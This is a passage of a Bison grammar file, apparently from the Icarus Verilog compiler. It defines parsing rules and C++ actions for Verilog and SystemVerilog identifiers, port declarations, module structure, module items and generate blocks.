tmp->push_back(name_component_t(lex_strings.make($3)));
delete[]$3;
$$ = tmp;
}
| hierarchy_identifier '[' expression ']'
{ pform_name_t * tmp = $1;
name_component_t&tail = tmp->back();
index_component_t itmp;
itmp.sel = index_component_t::SEL_BIT;
itmp.msb = $3;
tail.index.push_back(itmp);
$$ = tmp;
}
| hierarchy_identifier '[' '$' ']'
{ pform_name_t * tmp = $1;
name_component_t&tail = tmp->back();
if (! gn_system_verilog()) {
yyerror(@3, "error: Last element expression ($) "
"requires SystemVerilog. Try enabling SystemVerilog.");
}
index_component_t itmp;
itmp.sel = index_component_t::SEL_BIT_LAST;
itmp.msb = 0;
itmp.lsb = 0;
tail.index.push_back(itmp);
$$ = tmp;
}
| hierarchy_identifier '[' expression ':' expression ']'
{ pform_name_t * tmp = $1;
name_component_t&tail = tmp->back();
index_component_t itmp;
itmp.sel = index_component_t::SEL_PART;
itmp.msb = $3;
itmp.lsb = $5;
tail.index.push_back(itmp);
$$ = tmp;
}
| hierarchy_identifier '[' expression K_PO_POS expression ']'
{ pform_name_t * tmp = $1;
name_component_t&tail = tmp->back();
index_component_t itmp;
itmp.sel = index_component_t::SEL_IDX_UP;
itmp.msb = $3;
itmp.lsb = $5;
tail.index.push_back(itmp);
$$ = tmp;
}
| hierarchy_identifier '[' expression K_PO_NEG expression ']'
{ pform_name_t * tmp = $1;
name_component_t&tail = tmp->back();
index_component_t itmp;
itmp.sel = index_component_t::SEL_IDX_DO;
itmp.msb = $3;
itmp.lsb = $5;
tail.index.push_back(itmp);
$$ = tmp;
}
;
/* This is a list of identifiers. The result is a list of strings,
each one of the identifiers in the list. These are simple,
non-hierarchical names separated by ',' characters. */
list_of_identifiers
: IDENTIFIER
{ $$ = list_from_identifier($1); }
| list_of_identifiers ',' IDENTIFIER
{ $$ = list_from_identifier($1, $3); }
;
list_of_port_identifiers
: IDENTIFIER dimensions_opt
{ $$ = make_port_list($1, $2, 0); }
| list_of_port_identifiers ',' IDENTIFIER dimensions_opt
{ $$ = make_port_list($1, $3, $4, 0); }
;
list_of_variable_port_identifiers
: IDENTIFIER dimensions_opt
{ $$ = make_port_list($1, $2, 0); }
| IDENTIFIER dimensions_opt '=' expression
{ $$ = make_port_list($1, $2, $4); }
| list_of_variable_port_identifiers ',' IDENTIFIER dimensions_opt
{ $$ = make_port_list($1, $3, $4, 0); }
| list_of_variable_port_identifiers ',' IDENTIFIER dimensions_opt '=' expression
{ $$ = make_port_list($1, $3, $4, $6); }
;
/* The list_of_ports and list_of_port_declarations rules are the
port list formats for module ports. The list_of_ports_opt rule is
only used by the module start rule.
The first, the list_of_ports, is the 1364-1995 format, a list of
port names, including .name() syntax.
The list_of_port_declarations the 1364-2001 format, an in-line
declaration of the ports.
In both cases, the list_of_ports and list_of_port_declarations
returns an array of Module::port_t* items that include the name
of the port internally and externally. The actual creation of the
nets/variables is done in the declaration, whether internal to
the port list or in amongst the module items. */
list_of_ports
: port_opt
{ vector<Module::port_t*>*tmp
= new vector<Module::port_t*>(1);
(*tmp)[0] = $1;
$$ = tmp;
}
| list_of_ports ',' port_opt
{ vector<Module::port_t*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
;
list_of_port_declarations
: port_declaration
{ vector<Module::port_t*>*tmp
= new vector<Module::port_t*>(1);
(*tmp)[0] = $1;
$$ = tmp;
}
| list_of_port_declarations ',' port_declaration
{ vector<Module::port_t*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
| list_of_port_declarations ',' IDENTIFIER
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($3);
ptmp = pform_module_port_reference(name, @3.text,
@3.first_line);
vector<Module::port_t*>*tmp = $1;
tmp->push_back(ptmp);
/* Get the port declaration details, the port type
and what not, from context data stored by the
last port_declaration rule. */
pform_module_define_port(@3, name,
port_declaration_context.port_type,
port_declaration_context.port_net_type,
port_declaration_context.data_type, 0);
delete[]$3;
$$ = tmp;
}
| list_of_port_declarations ','
{
yyerror(@2, "error: NULL port declarations are not "
"allowed.");
}
| list_of_port_declarations ';'
{
yyerror(@2, "error: ';' is an invalid port declaration "
"separator.");
}
;
port_declaration
: attribute_list_opt K_input net_type_opt data_type_or_implicit IDENTIFIER dimensions_opt
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($5);
data_type_t*use_type = $4;
if ($6) use_type = new uarray_type_t(use_type, $6);
ptmp = pform_module_port_reference(name, @2.text, @2.first_line);
pform_module_define_port(@2, name, NetNet::PINPUT, $3, use_type, $1);
port_declaration_context.port_type = NetNet::PINPUT;
port_declaration_context.port_net_type = $3;
port_declaration_context.data_type = $4;
delete[]$5;
$$ = ptmp;
}
| attribute_list_opt
K_input K_wreal IDENTIFIER
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($4);
ptmp = pform_module_port_reference(name, @2.text,
@2.first_line);
real_type_t*real_type = new real_type_t(real_type_t::REAL);
FILE_NAME(real_type, @3);
pform_module_define_port(@2, name, NetNet::PINPUT,
NetNet::WIRE, real_type, $1);
port_declaration_context.port_type = NetNet::PINPUT;
port_declaration_context.port_net_type = NetNet::WIRE;
port_declaration_context.data_type = real_type;
delete[]$4;
$$ = ptmp;
}
| attribute_list_opt K_inout net_type_opt data_type_or_implicit IDENTIFIER dimensions_opt
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($5);
ptmp = pform_module_port_reference(name, @2.text, @2.first_line);
pform_module_define_port(@2, name, NetNet::PINOUT, $3, $4, $1);
port_declaration_context.port_type = NetNet::PINOUT;
port_declaration_context.port_net_type = $3;
port_declaration_context.data_type = $4;
delete[]$5;
if ($6) {
yyerror(@6, "sorry: Inout ports with unpacked dimensions not supported.");
delete $6;
}
$$ = ptmp;
}
| attribute_list_opt
K_inout K_wreal IDENTIFIER
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($4);
ptmp = pform_module_port_reference(name, @2.text,
@2.first_line);
real_type_t*real_type = new real_type_t(real_type_t::REAL);
FILE_NAME(real_type, @3);
pform_module_define_port(@2, name, NetNet::PINOUT,
NetNet::WIRE, real_type, $1);
port_declaration_context.port_type = NetNet::PINOUT;
port_declaration_context.port_net_type = NetNet::WIRE;
port_declaration_context.data_type = real_type;
delete[]$4;
$$ = ptmp;
}
| attribute_list_opt K_output net_type_opt data_type_or_implicit IDENTIFIER dimensions_opt
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($5);
data_type_t*use_dtype = $4;
if ($6) use_dtype = new uarray_type_t(use_dtype, $6);
NetNet::Type use_type = $3;
if (use_type == NetNet::IMPLICIT) {
if (vector_type_t*dtype = dynamic_cast<vector_type_t*> ($4)) {
if (dtype->reg_flag)
use_type = NetNet::REG;
else if (dtype->implicit_flag)
use_type = NetNet::IMPLICIT;
else
use_type = NetNet::IMPLICIT_REG;
// The SystemVerilog types that can show up as
// output ports are implicitly (on the inside)
// variables because "reg" is not valid syntax
// here.
} else if (dynamic_cast<atom2_type_t*> ($4)) {
use_type = NetNet::IMPLICIT_REG;
} else if (dynamic_cast<struct_type_t*> ($4)) {
use_type = NetNet::IMPLICIT_REG;
} else if (enum_type_t*etype = dynamic_cast<enum_type_t*> ($4)) {
if(etype->base_type == IVL_VT_LOGIC)
use_type = NetNet::IMPLICIT_REG;
}
}
ptmp = pform_module_port_reference(name, @2.text, @2.first_line);
pform_module_define_port(@2, name, NetNet::POUTPUT, use_type, use_dtype, $1);
port_declaration_context.port_type = NetNet::POUTPUT;
port_declaration_context.port_net_type = use_type;
port_declaration_context.data_type = $4;
delete[]$5;
$$ = ptmp;
}
| attribute_list_opt
K_output K_wreal IDENTIFIER
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($4);
ptmp = pform_module_port_reference(name, @2.text,
@2.first_line);
real_type_t*real_type = new real_type_t(real_type_t::REAL);
FILE_NAME(real_type, @3);
pform_module_define_port(@2, name, NetNet::POUTPUT,
NetNet::WIRE, real_type, $1);
port_declaration_context.port_type = NetNet::POUTPUT;
port_declaration_context.port_net_type = NetNet::WIRE;
port_declaration_context.data_type = real_type;
delete[]$4;
$$ = ptmp;
}
| attribute_list_opt K_output net_type_opt data_type_or_implicit IDENTIFIER '=' expression
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($5);
NetNet::Type use_type = $3;
if (use_type == NetNet::IMPLICIT) {
if (vector_type_t*dtype = dynamic_cast<vector_type_t*> ($4)) {
if (dtype->reg_flag)
use_type = NetNet::REG;
else
use_type = NetNet::IMPLICIT_REG;
} else {
use_type = NetNet::IMPLICIT_REG;
}
}
ptmp = pform_module_port_reference(name, @2.text, @2.first_line);
pform_module_define_port(@2, name, NetNet::POUTPUT, use_type, $4, $1);
port_declaration_context.port_type = NetNet::PINOUT;
port_declaration_context.port_net_type = use_type;
port_declaration_context.data_type = $4;
pform_make_var_init(@5, name, $7);
delete[]$5;
$$ = ptmp;
}
;
net_type_opt
: net_type { $$ = $1; }
| { $$ = NetNet::IMPLICIT; }
;
/*
* The signed_opt rule will return "true" if K_signed is present,
* for "false" otherwise. This rule corresponds to the declaration
* defaults for reg/bit/logic.
*
* The signed_unsigned_opt rule with match K_signed or K_unsigned
* and return true or false as appropriate. The default is
* "true". This corresponds to the declaration defaults for
* byte/shortint/int/longint.
*/
unsigned_signed_opt
: K_signed { $$ = true; }
| K_unsigned { $$ = false; }
| { $$ = false; }
;
signed_unsigned_opt
: K_signed { $$ = true; }
| K_unsigned { $$ = false; }
| { $$ = true; }
;
/*
* In some places we can take any of the 4 2-value atom-type
* names. All the context needs to know if that type is its width.
*/
atom2_type
: K_byte { $$ = 8; }
| K_shortint { $$ = 16; }
| K_int { $$ = 32; }
| K_longint { $$ = 64; }
;
/* An lpvalue is the expression that can go on the left side of a
procedural assignment. This rule handles only procedural
assignments. It is more limited than the general expr_primary
rule to reflect the rules for assignment l-values. */
lpvalue
: hierarchy_identifier
{ PEIdent*tmp = pform_new_ident(*$1);
FILE_NAME(tmp, @1);
$$ = tmp;
delete $1;
}
| implicit_class_handle '.' hierarchy_identifier
{ pform_name_t*t_name = $1;
while (!$3->empty()) {
t_name->push_back($3->front());
$3->pop_front();
}
PEIdent*tmp = new PEIdent(*t_name);
FILE_NAME(tmp, @1);
$$ = tmp;
delete $1;
delete $3;
}
| '{' expression_list_proper '}'
{ PEConcat*tmp = new PEConcat(*$2);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| streaming_concatenation
{ yyerror(@1, "sorry: streaming concatenation not supported in l-values.");
$$ = 0;
}
;
/* Continuous assignments have a list of individual assignments. */
cont_assign
: lpvalue '=' expression
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($1);
tmp->push_back($3);
$$ = tmp;
}
;
cont_assign_list
: cont_assign_list ',' cont_assign
{ list<PExpr*>*tmp = $1;
tmp->splice(tmp->end(), *$3);
delete $3;
$$ = tmp;
}
| cont_assign
{ $$ = $1; }
;
/* We allow zero, one or two unique declarations. */
local_timeunit_prec_decl_opt
: /* Empty */
| K_timeunit TIME_LITERAL '/' TIME_LITERAL ';'
{ pform_set_timeunit($2, true, false);
have_timeunit_decl = true;
pform_set_timeprecision($4, true, false);
have_timeprec_decl = true;
}
| local_timeunit_prec_decl
| local_timeunit_prec_decl local_timeunit_prec_decl2
;
/* By setting the appropriate have_time???_decl we allow only
one declaration of each type in this module. */
local_timeunit_prec_decl
: K_timeunit TIME_LITERAL ';'
{ pform_set_timeunit($2, true, false);
have_timeunit_decl = true;
}
| K_timeprecision TIME_LITERAL ';'
{ pform_set_timeprecision($2, true, false);
have_timeprec_decl = true;
}
;
local_timeunit_prec_decl2
: K_timeunit TIME_LITERAL ';'
{ pform_set_timeunit($2, true, false);
have_timeunit_decl = true;
}
| K_timeprecision TIME_LITERAL ';'
{ pform_set_timeprecision($2, true, false);
have_timeprec_decl = true;
}
/* As the second item this form is always a check. */
| K_timeunit TIME_LITERAL '/' TIME_LITERAL ';'
{ pform_set_timeunit($2, true, true);
pform_set_timeprecision($4, true, true);
}
;
/* This is the global structure of a module. A module is a start
section, with optional ports, then an optional list of module
items, and finally an end marker. */
module
: attribute_list_opt module_start lifetime_opt IDENTIFIER
{ pform_startmodule(@2, $4, $2==K_program, $2==K_interface, $3, $1); }
module_package_import_list_opt
module_parameter_port_list_opt
module_port_list_opt
module_attribute_foreign ';'
{ pform_module_set_ports($8); }
local_timeunit_prec_decl_opt
{ have_timeunit_decl = true; // Every thing past here is
have_timeprec_decl = true; // a check!
pform_check_timeunit_prec();
}
module_item_list_opt
module_end
{ Module::UCDriveType ucd;
// The lexor detected `unconnected_drive directives and
// marked what it found in the uc_drive variable. Use that
// to generate a UCD flag for the module.
switch (uc_drive) {
case UCD_NONE:
default:
ucd = Module::UCD_NONE;
break;
case UCD_PULL0:
ucd = Module::UCD_PULL0;
break;
case UCD_PULL1:
ucd = Module::UCD_PULL1;
break;
}
// Check that program/endprogram and module/endmodule
// keywords match.
if ($2 != $15) {
switch ($2) {
case K_module:
yyerror(@15, "error: module not closed by endmodule.");
break;
case K_program:
yyerror(@15, "error: program not closed by endprogram.");
break;
case K_interface:
yyerror(@15, "error: interface not closed by endinterface.");
break;
default:
break;
}
}
pform_endmodule($4, in_celldefine, ucd);
have_timeunit_decl = false; // We will allow decls again.
have_timeprec_decl = false;
}
endlabel_opt
{ // Last step: check any closing name. This is done late so
// that the parser can look ahead to detect the present
// endlabel_opt but still have the pform_endmodule() called
// early enough that the lexor can know we are outside the
// module.
if ($17) {
if (strcmp($4,$17) != 0) {
switch ($2) {
case K_module:
yyerror(@17, "error: End label doesn't match "
"module name.");
break;
case K_program:
yyerror(@17, "error: End label doesn't match "
"program name.");
break;
case K_interface:
yyerror(@17, "error: End label doesn't match "
"interface name.");
break;
default:
break;
}
}
if (($2 == K_module) && (! gn_system_verilog())) {
yyerror(@8, "error: Module end labels require "
"SystemVerilog.");
}
delete[]$17;
}
delete[]$4;
}
;
/* Modules start with a module/macromodule, program, or interface
keyword, and end with a endmodule, endprogram, or endinterface
keyword. The syntax for modules programs, and interfaces is
almost identical, so let semantics sort out the differences. */
module_start
: K_module { $$ = K_module; }
| K_macromodule { $$ = K_module; }
| K_program { $$ = K_program; }
| K_interface { $$ = K_interface; }
;
module_end
: K_endmodule { $$ = K_module; }
| K_endprogram { $$ = K_program; }
| K_endinterface { $$ = K_interface; }
;
endlabel_opt
: ':' IDENTIFIER { $$ = $2; }
| { $$ = 0; }
;
module_attribute_foreign
: K_PSTAR IDENTIFIER K_integer IDENTIFIER '=' STRING ';' K_STARP { $$ = 0; }
| { $$ = 0; }
;
module_port_list_opt
: '(' list_of_ports ')' { $$ = $2; }
| '(' list_of_port_declarations ')' { $$ = $2; }
| { $$ = 0; }
| '(' error ')'
{ yyerror(@2, "Errors in port declarations.");
yyerrok;
$$ = 0;
}
;
/* Module declarations include optional ANSI style module parameter
ports. These are simply advance ways to declare parameters, so
that the port declarations may use them. */
module_parameter_port_list_opt
:
| '#' '(' module_parameter_port_list ')'
;
module_parameter_port_list
: K_parameter param_type parameter_assign
| module_parameter_port_list ',' parameter_assign
| module_parameter_port_list ',' K_parameter param_type parameter_assign
;
module_item
/* Modules can contain further sub-module definitions. */
: module
| attribute_list_opt net_type data_type_or_implicit delay3_opt net_variable_list ';'
{ data_type_t*data_type = $3;
if (data_type == 0) {
data_type = new vector_type_t(IVL_VT_LOGIC, false, 0);
FILE_NAME(data_type, @2);
}
pform_set_data_type(@2, data_type, $5, $2, $1);
if ($4 != 0) {
yyerror(@2, "sorry: net delays not supported.");
delete $4;
}
delete $1;
}
| attribute_list_opt K_wreal delay3 net_variable_list ';'
{ real_type_t*tmpt = new real_type_t(real_type_t::REAL);
pform_set_data_type(@2, tmpt, $4, NetNet::WIRE, $1);
if ($3 != 0) {
yyerror(@3, "sorry: net delays not supported.");
delete $3;
}
delete $1;
}
| attribute_list_opt K_wreal net_variable_list ';'
{ real_type_t*tmpt = new real_type_t(real_type_t::REAL);
pform_set_data_type(@2, tmpt, $3, NetNet::WIRE, $1);
delete $1;
}
/* Very similar to the rule above, but this takes a list of
net_decl_assigns, which are <name> = <expr> assignment
declarations. */
| attribute_list_opt net_type data_type_or_implicit delay3_opt net_decl_assigns ';'
{ data_type_t*data_type = $3;
if (data_type == 0) {
data_type = new vector_type_t(IVL_VT_LOGIC, false, 0);
FILE_NAME(data_type, @2);
}
pform_makewire(@2, $4, str_strength, $5, $2, data_type);
if ($1) {
yywarn(@2, "Attributes are not supported on net declaration "
"assignments and will be discarded.");
delete $1;
}
}
/* This form doesn't have the range, but does have strengths. This
gives strength to the assignment drivers. */
| attribute_list_opt net_type data_type_or_implicit drive_strength net_decl_assigns ';'
{ data_type_t*data_type = $3;
if (data_type == 0) {
data_type = new vector_type_t(IVL_VT_LOGIC, false, 0);
FILE_NAME(data_type, @2);
}
pform_makewire(@2, 0, $4, $5, $2, data_type);
if ($1) {
yywarn(@2, "Attributes are not supported on net declaration "
"assignments and will be discarded.");
delete $1;
}
}
| attribute_list_opt K_wreal net_decl_assigns ';'
{ real_type_t*data_type = new real_type_t(real_type_t::REAL);
pform_makewire(@2, 0, str_strength, $3, NetNet::WIRE, data_type);
if ($1) {
yywarn(@2, "Attributes are not supported on net declaration "
"assignments and will be discarded.");
delete $1;
}
}
| K_trireg charge_strength_opt dimensions_opt delay3_opt list_of_identifiers ';'
{ yyerror(@1, "sorry: trireg nets not supported.");
delete $3;
delete $4;
}
/* The next two rules handle port declarations that include a net type, e.g.
input wire signed [h:l] <list>;
This creates the wire and sets the port type all at once. */
| attribute_list_opt port_direction net_type data_type_or_implicit list_of_port_identifiers ';'
{ pform_module_define_port(@2, $5, $2, $3, $4, $1); }
| attribute_list_opt port_direction K_wreal list_of_port_identifiers ';'
{ real_type_t*real_type = new real_type_t(real_type_t::REAL);
pform_module_define_port(@2, $4, $2, NetNet::WIRE, real_type, $1);
}
/* The next three rules handle port declarations that include a variable
type, e.g.
output reg signed [h:l] <list>;
and also handle incomplete port declarations, e.g.
input signed [h:l] <list>;
*/
| attribute_list_opt K_inout data_type_or_implicit list_of_port_identifiers ';'
{ NetNet::Type use_type = $3 ? NetNet::IMPLICIT : NetNet::NONE;
if (vector_type_t*dtype = dynamic_cast<vector_type_t*> ($3)) {
if (dtype->implicit_flag)
use_type = NetNet::NONE;
}
if (use_type == NetNet::NONE)
pform_set_port_type(@2, $4, NetNet::PINOUT, $3, $1);
else
pform_module_define_port(@2, $4, NetNet::PINOUT, use_type, $3, $1);
}
| attribute_list_opt K_input data_type_or_implicit list_of_port_identifiers ';'
{ NetNet::Type use_type = $3 ? NetNet::IMPLICIT : NetNet::NONE;
if (vector_type_t*dtype = dynamic_cast<vector_type_t*> ($3)) {
if (dtype->implicit_flag)
use_type = NetNet::NONE;
}
if (use_type == NetNet::NONE)
pform_set_port_type(@2, $4, NetNet::PINPUT, $3, $1);
else
pform_module_define_port(@2, $4, NetNet::PINPUT, use_type, $3, $1);
}
| attribute_list_opt K_output data_type_or_implicit list_of_variable_port_identifiers ';'
{ NetNet::Type use_type = $3 ? NetNet::IMPLICIT : NetNet::NONE;
if (vector_type_t*dtype = dynamic_cast<vector_type_t*> ($3)) {
if (dtype->implicit_flag)
use_type = NetNet::NONE;
else if (dtype->reg_flag)
use_type = NetNet::REG;
else
use_type = NetNet::IMPLICIT_REG;
// The SystemVerilog types that can show up as
// output ports are implicitly (on the inside)
// variables because "reg" is not valid syntax
// here.
} else if (dynamic_cast<atom2_type_t*> ($3)) {
use_type = NetNet::IMPLICIT_REG;
} else if (dynamic_cast<struct_type_t*> ($3)) {
use_type = NetNet::IMPLICIT_REG;
} else if (enum_type_t*etype = dynamic_cast<enum_type_t*> ($3)) {
if(etype->base_type == IVL_VT_LOGIC)
use_type = NetNet::IMPLICIT_REG;
}
if (use_type == NetNet::NONE)
pform_set_port_type(@2, $4, NetNet::POUTPUT, $3, $1);
else
pform_module_define_port(@2, $4, NetNet::POUTPUT, use_type, $3, $1);
}
| attribute_list_opt port_direction net_type data_type_or_implicit error ';'
{ yyerror(@2, "error: Invalid variable list in port declaration.");
if ($1) delete $1;
if ($4) delete $4;
yyerrok;
}
| attribute_list_opt K_inout data_type_or_implicit error ';'
{ yyerror(@2, "error: Invalid variable list in port declaration.");
if ($1) delete $1;
if ($3) delete $3;
yyerrok;
}
| attribute_list_opt K_input data_type_or_implicit error ';'
{ yyerror(@2, "error: Invalid variable list in port declaration.");
if ($1) delete $1;
if ($3) delete $3;
yyerrok;
}
| attribute_list_opt K_output data_type_or_implicit error ';'
{ yyerror(@2, "error: Invalid variable list in port declaration.");
if ($1) delete $1;
if ($3) delete $3;
yyerrok;
}
/* Maybe this is a discipline declaration? If so, then the lexor
will see the discipline name as an identifier. We match it to the
discipline or type name semantically. */
| DISCIPLINE_IDENTIFIER list_of_identifiers ';'
{ pform_attach_discipline(@1, $1, $2); }
/* block_item_decl rule is shared with task blocks and named
begin/end. Careful to pass attributes to the block_item_decl. */
| attribute_list_opt { attributes_in_context = $1; } block_item_decl
{ delete attributes_in_context;
attributes_in_context = 0;
}
/* */
| K_defparam
{ if (pform_in_interface())
yyerror(@1, "error: Parameter overrides are not allowed "
"in interfaces.");
}
defparam_assign_list ';'
/* Most gate types have an optional drive strength and optional
two/three-value delay. These rules handle the different cases.
We check that the actual number of delays is correct later. */
| attribute_list_opt gatetype gate_instance_list ';'
{ pform_makegates(@2, $2, str_strength, 0, $3, $1); }
| attribute_list_opt gatetype delay3 gate_instance_list ';'
{ pform_makegates(@2, $2, str_strength, $3, $4, $1); }
| attribute_list_opt gatetype drive_strength gate_instance_list ';'
{ pform_makegates(@2, $2, $3, 0, $4, $1); }
| attribute_list_opt gatetype drive_strength delay3 gate_instance_list ';'
{ pform_makegates(@2, $2, $3, $4, $5, $1); }
/* The switch type gates do not support a strength. */
| attribute_list_opt switchtype gate_instance_list ';'
{ pform_makegates(@2, $2, str_strength, 0, $3, $1); }
| attribute_list_opt switchtype delay3 gate_instance_list ';'
{ pform_makegates(@2, $2, str_strength, $3, $4, $1); }
/* Pullup and pulldown devices cannot have delays, and their
strengths are limited. */
| K_pullup gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLUP, pull_strength, 0, $2, 0); }
| K_pulldown gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLDOWN, pull_strength, 0, $2, 0); }
| K_pullup '(' dr_strength1 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLUP, $3, 0, $5, 0); }
| K_pullup '(' dr_strength1 ',' dr_strength0 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLUP, $3, 0, $7, 0); }
| K_pullup '(' dr_strength0 ',' dr_strength1 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLUP, $5, 0, $7, 0); }
| K_pulldown '(' dr_strength0 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLDOWN, $3, 0, $5, 0); }
| K_pulldown '(' dr_strength1 ',' dr_strength0 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLDOWN, $5, 0, $7, 0); }
| K_pulldown '(' dr_strength0 ',' dr_strength1 ')' gate_instance_list ';'
{ pform_makegates(@1, PGBuiltin::PULLDOWN, $3, 0, $7, 0); }
/* This rule handles instantiations of modules and user defined
primitives. These devices to not have delay lists or strengths,
but then can have parameter lists. */
| attribute_list_opt
IDENTIFIER parameter_value_opt gate_instance_list ';'
{ perm_string tmp1 = lex_strings.make($2);
pform_make_modgates(@2, tmp1, $3, $4);
delete[]$2;
if ($1) delete $1;
}
| attribute_list_opt
IDENTIFIER parameter_value_opt error ';'
{ yyerror(@2, "error: Invalid module instantiation");
delete[]$2;
if ($1) delete $1;
}
/* Continuous assignment can have an optional drive strength, then
an optional delay3 that applies to all the assignments in the
cont_assign_list. */
| K_assign drive_strength_opt delay3_opt cont_assign_list ';'
{ pform_make_pgassign_list($4, $3, $2, @1.text, @1.first_line); }
/* Always and initial items are behavioral processes. */
| attribute_list_opt K_always statement_item
{ PProcess*tmp = pform_make_behavior(IVL_PR_ALWAYS, $3, $1);
FILE_NAME(tmp, @2);
}
| attribute_list_opt K_initial statement_item
{ PProcess*tmp = pform_make_behavior(IVL_PR_INITIAL, $3, $1);
FILE_NAME(tmp, @2);
}
| attribute_list_opt K_final statement_item
{ PProcess*tmp = pform_make_behavior(IVL_PR_FINAL, $3, $1);
FILE_NAME(tmp, @2);
}
| attribute_list_opt K_analog analog_statement
{ pform_make_analog_behavior(@2, IVL_PR_ALWAYS, $3); }
| attribute_list_opt assertion_item
| class_declaration
| task_declaration
| function_declaration
/* A generate region can contain further module items. Actually, it
is supposed to be limited to certain kinds of module items, but
the semantic tests will check that for us. Do check that the
generate/endgenerate regions do not nest. Generate schemes nest,
but generate regions do not. */
| K_generate generate_item_list_opt K_endgenerate
{ // Test for bad nesting. I understand it, but it is illegal.
if (pform_parent_generate()) {
cerr << @1 << ": error: Generate/endgenerate regions cannot nest." << endl;
cerr << @1 << ": : Try removing optional generate/endgenerate keywords," << endl;
cerr << @1 << ": : or move them to surround the parent generate scheme." << endl;
error_count += 1;
}
}
| K_genvar list_of_identifiers ';'
{ pform_genvars(@1, $2); }
| K_for '(' IDENTIFIER '=' expression ';'
expression ';'
IDENTIFIER '=' expression ')'
{ pform_start_generate_for(@1, $3, $5, $7, $9, $11); }
generate_block
{ pform_endgenerate(); }
| generate_if
generate_block_opt
K_else
{ pform_start_generate_else(@1); }
generate_block
{ pform_endgenerate(); }
| generate_if
generate_block_opt %prec less_than_K_else
{ pform_endgenerate(); }
| K_case '(' expression ')'
{ pform_start_generate_case(@1, $3); }
generate_case_items
K_endcase
{ pform_endgenerate(); }
| modport_declaration
| package_import_declaration
/* 1364-2001 and later allow specparam declarations outside specify blocks. */
| attribute_list_opt K_specparam
{ if (pform_in_interface())
yyerror(@1, "error: specparam declarations are not allowed "
"in interfaces.");
}
specparam_decl ';'
/* specify blocks are parsed but ignored. */
| K_specify
{ if (pform_in_interface())
yyerror(@1, "error: specify blocks are not allowed "
"in interfaces.");
}
specify_item_list_opt K_endspecify
| K_specify error K_endspecify
{ yyerror(@1, "error: syntax error in specify block");
yyerrok;
}
/* These rules match various errors that the user can type into
module items. These rules try to catch them at a point where a
reasonable error message can be produced. */
| error ';'
{ yyerror(@2, "error: invalid module item.");
yyerrok;
}
| K_assign error '=' expression ';'
{ yyerror(@1, "error: syntax error in left side "
"of continuous assignment.");
yyerrok;
}
| K_assign error ';'
{ yyerror(@1, "error: syntax error in "
"continuous assignment");
yyerrok;
}
| K_function error K_endfunction endlabel_opt
{ yyerror(@1, "error: I give up on this "
"function definition.");
if ($4) {
if (!gn_system_verilog()) {
yyerror(@4, "error: Function end names require "
"SystemVerilog.");
}
delete[]$4;
}
yyerrok;
}
/* These rules are for the Icarus Verilog specific $attribute
extensions. Then catch the parameters of the $attribute keyword. */
| KK_attribute '(' IDENTIFIER ',' STRING ',' STRING ')' ';'
{ perm_string tmp3 = lex_strings.make($3);
perm_string tmp5 = lex_strings.make($5);
pform_set_attrib(tmp3, tmp5, $7);
delete[] $3;
delete[] $5;
}
| KK_attribute '(' error ')' ';'
{ yyerror(@1, "error: Malformed $attribute parameter list."); }
| K_timeunit_check TIME_LITERAL ';'
{ pform_set_timeunit($2, true, true); }
| K_timeunit_check TIME_LITERAL '/' TIME_LITERAL ';'
{ pform_set_timeunit($2, true, true);
pform_set_timeprecision($4, true, true);
}
| K_timeprecision_check TIME_LITERAL ';'
{ pform_set_timeprecision($2, true, true); }
;
module_item_list
: module_item_list module_item
| module_item
;
module_item_list_opt
: module_item_list
|
;
generate_if : K_if '(' expression ')' { pform_start_generate_if(@1, $3); } ;
generate_case_items
: generate_case_items generate_case_item
| generate_case_item
;
generate_case_item
: expression_list_proper ':' { pform_generate_case_item(@1, $1); } generate_block_opt
{ pform_endgenerate(); }
| K_default ':' { pform_generate_case_item(@1, 0); } generate_block_opt
{ pform_endgenerate(); }
;
generate_item
: module_item
/* Handle some anachronistic syntax cases. */
| K_begin generate_item_list_opt K_end
{ /* Detect and warn about anachronistic begin/end use */
if (generation_flag > GN_VER2001 && warn_anachronisms) {
warn_count += 1;
cerr << @1 << ": warning: Anachronistic use of begin/end to surround generate schemes." << endl;
}
}
| K_begin ':' IDENTIFIER {
pform_start_generate_nblock(@1, $3);
} generate_item_list_opt K_end
{ /* Detect and warn about anachronistic named begin/end use */
if (generation_flag > GN_VER2001 && warn_anachronisms) {
warn_count += 1;
cerr << @1 << ": warning: Anachronistic use of named begin/end to surround generate schemes." << endl;
}
pform_endgenerate();
}
;
generate_item_list
: generate_item_list generate_item
| generate_item
;
generate_item_list_opt
: generate_item_list
|
;
/* A generate block is the thing within a generate scheme. It may be
a single module item, an anonymous block of module items, or a
named module item. In all cases, the meat is in the module items
inside, and the processing is done by the module_item rules. We
only need to take note here of the scope name, if any. */
generate_block
: module_item
| K_begin generate_item_list_opt K_end
| K_begin ':' IDENTIFIER generate_item_list_opt K_end endlabel_opt
{ pform_generate_block_name($3);
if ($6) {
if (strcmp($3,$6) != 0) {
yyerror(@6, "error: End label doesn't match "
"begin name");
}
if (! gn_system_verilog()) {
yyerror(@6, "error: Begin end labels require "
"SystemVerilog.");
}
delete[]$6;
}
delete[]$3;
}
;
generate_block_opt : generate_block | ';' ;
/* A net declaration assignment allows the programmer to combine the
net declaration and the continuous assignment into a single
statement.
Note that the continuous assignment statement is generated as a
side effect, and all I pass up is the name of the l-value. */
net_decl_assign
: IDENTIFIER '=' expression
{ net_decl_assign_t*tmp = new net_decl_assign_t;
tmp->next = tmp;
tmp->name = lex_strings.make($1);
tmp->expr = $3;
delete[]$1;
$$ = tmp;
}
;
net_decl_assigns
